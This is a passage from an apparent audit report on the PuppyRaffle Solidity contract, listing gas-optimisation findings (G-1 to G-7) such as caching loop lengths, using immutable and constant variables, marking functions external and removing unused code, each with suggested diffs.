Description: Multiple state variables are not changed after initialization. These variables should be declared as constant or immutable to prevent accidental changes. Reading from constant or immutable variables is cheaper than reading from state variables.

Instances of this issue are:

- `PuppyRaffle::entranceFee`
- `PuppyRaffle::raffleDuration`
- `PuppyRaffle::commonImageUri`
- `PuppyRaffle::rareImageUri`
- `PuppyRaffle::legendaryImageUri`

Recommended Mitigation: Consider declaring these variables as constant or immutable.

- `PuppyRaffle::entranceFee` as `immutable`
- `PuppyRaffle::raffleDuration` as `immutable`
- `PuppyRaffle::commonImageUri` as `constant`
- `PuppyRaffle::rareImageUri` as `constant`
- `PuppyRaffle::legendaryImageUri` as `constant`

[G-2]: Initializing state variables to their default value is redundant

Description: State variables are initialized to their default value. This is redundant and can be removed. For example, `uint64 public totalFees = 0;`

Recommended Mitigation: Consider removing the initialization of state variables to their default value. Update `uint64 public totalFees = 0;` to `uint64 public totalFees;`

[G-3]: Functions not used internally could be marked external

Description: Functions that are not used internally could be marked external. This reduces the gas cost of the function call.

- Found in src/PuppyRaffle.sol Line: 79

  ```
  function enterRaffle(address[] memory newPlayers) public payable {
  ```

- Found in src/PuppyRaffle.sol Line: 96

  ```
  function refund(uint256 playerIndex) public {
  ```

Recommended Mitigation: Consider marking these functions as `external` instead of `public`.

[G-4]: Storage variables in the loop should be cached in memory

Description: Every time a storage variable is accessed in a loop, it is read from the storage. This is expensive and can be avoided by caching the variable in memory.

Recommended Mitigation: Replace the `players.length` in the loop to a variable `playersLength` that is cached in memory before the loop.

```diff
+   uint256 playersLength = players.length;
-   for (uint256 i = 0; i < players.length - 1; i++) {
+   for (uint256 i = 0; i < playersLength - 1; i++) {
-       for (uint256 j = i + 1; j < players.length; j++) {
+       for (uint256 j = i + 1; j < playersLength; j++) {
            require(
                players[i] != players[j],
                "PuppyRaffle: Duplicate player"
            );
        }
    }
```

[G-5]: `PuppyRaffle::_isActivePlayer` function is not used anywhere

Description: The `PuppyRaffle::_isActivePlayer` function is declared in the contract, but it is not used anywhere. This is a waste of gas.

Recommended Mitigation: Remove the `PuppyRaffle::_isActivePlayer` function declaration from the contract.

[G-6]: `PuppyRaffle::getActivePlayerIndex` function reads from storage in a loop without caching the value in memory

Description: `players.length` is read from storage in a loop. This is expensive and can be avoided by caching the value in memory.

```
    function getActivePlayerIndex(
        address player
    ) external view returns (uint256) {
@>      for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Recommended Mitigation: Replace the `players.length` in the loop to a variable `playersLength` that is cached in memory before the loop.

```
+   uint256 playersLength = players.length;
-   for (uint256 i = 0; i < players.length; i++) {
+   for (uint256 i = 0; i < playersLength; i++) {
        if (players[i] == player) {
            return i;
        }
    }
```

[G-7]: `PuppyRaffle::withdrawFees` function might try to transfer `totalFees` even if it is zero

Description: If no players have entered the raffle, anyone can call withdrawFees and try to transfer `totalFees`. This will not fail if `totalFees` is zero, but it will still cost gas to transfer the funds.

```
    function withdrawFees() external {
        require(
            address(this).balance == uint256(totalFees),
            "PuppyRaffle: There are currently players active!"
        );
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;

@>      (bool success, ) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Recommended Mitigation: Add a check for `totalFees` before trying to transfer the funds. If amount is zero, simply revert the transaction.

```diff
    function withdrawFees() external {
        require(
            address(this).balance == uint256(totalFees),
            "PuppyRaffle: There are currently players active!"
        );
+       require(
+           totalFees > 0, "PuppyRaffle: No fees to withdraw"
+       )

        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success, ) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```